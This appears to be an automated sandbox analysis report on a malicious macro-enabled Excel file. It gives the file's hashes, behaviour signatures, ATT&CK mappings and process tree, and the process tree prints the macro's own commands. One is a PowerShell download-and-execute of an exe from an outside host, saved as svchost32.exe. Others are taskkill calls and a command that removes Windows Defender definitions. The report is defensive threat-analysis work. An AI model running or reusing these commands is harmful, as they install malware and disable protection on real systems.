Analysis

  • max time kernel
    44s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 14:14

General

  • Target

    601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm

  • Size

    28KB

  • MD5

    b8f3bd05ba309b145a93bf03c3f97106

  • SHA1

    c79a2d7427dbd7a05e1faf4e894dccfbf98304eb

  • SHA256

    601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

  • SHA512

    aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f

  • SSDEEP

    768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/16.exe

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:868
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:984
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1344
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files (x86)\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
      2⤵
      • Process spawned unexpected child process
      PID:840

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    Filesize

    7KB

    MD5

    5cc341697f38e12069bbea0dcacc2ef9

    SHA1

    9cd805fc27b7aa8bda5634a69356b3e4aac1a23d

    SHA256

    a6c669fcbfc66f8ab9b8bccf90ec002a75b000343296e1df3d8fab0a76dc8554

    SHA512

    ea1b6b4b7b15fab5d3527e32d4deaf30b4f3eae5d0a939ffd92747315fb8c55a000df1a9df0fa6a5b4044d55399fc7a870ef0512fed44dd06693fa4c76495902

  • memory/840-82-0x0000000000000000-mapping.dmp
  • memory/868-79-0x0000000000000000-mapping.dmp
  • memory/868-92-0x000000006BB60000-0x000000006C10B000-memory.dmp
    Filesize

    5.7MB

  • memory/868-88-0x000000006BB60000-0x000000006C10B000-memory.dmp
    Filesize

    5.7MB

  • memory/984-80-0x0000000000000000-mapping.dmp
  • memory/1168-72-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-75-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-62-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-64-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-63-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-65-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-66-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-67-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-69-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-68-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-70-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-71-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-54-0x000000002F8D1000-0x000000002F8D4000-memory.dmp
    Filesize

    12KB

  • memory/1168-73-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-74-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-61-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-76-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-77-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-78-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-59-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-60-0x00000000004F2000-0x00000000004F6000-memory.dmp
    Filesize

    16KB

  • memory/1168-55-0x0000000071491000-0x0000000071493000-memory.dmp
    Filesize

    8KB

  • memory/1168-58-0x00000000760E1000-0x00000000760E3000-memory.dmp
    Filesize

    8KB

  • memory/1168-90-0x000000007247D000-0x0000000072488000-memory.dmp
    Filesize

    44KB

  • memory/1168-57-0x000000007247D000-0x0000000072488000-memory.dmp
    Filesize

    44KB

  • memory/1168-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1344-83-0x0000000000000000-mapping.dmp
  • memory/1668-89-0x0000000000000000-mapping.dmp
  • memory/1892-87-0x000000006BB60000-0x000000006C10B000-memory.dmp
    Filesize

    5.7MB

  • memory/1892-91-0x000000006BB60000-0x000000006C10B000-memory.dmp
    Filesize

    5.7MB

  • memory/1892-81-0x0000000000000000-mapping.dmp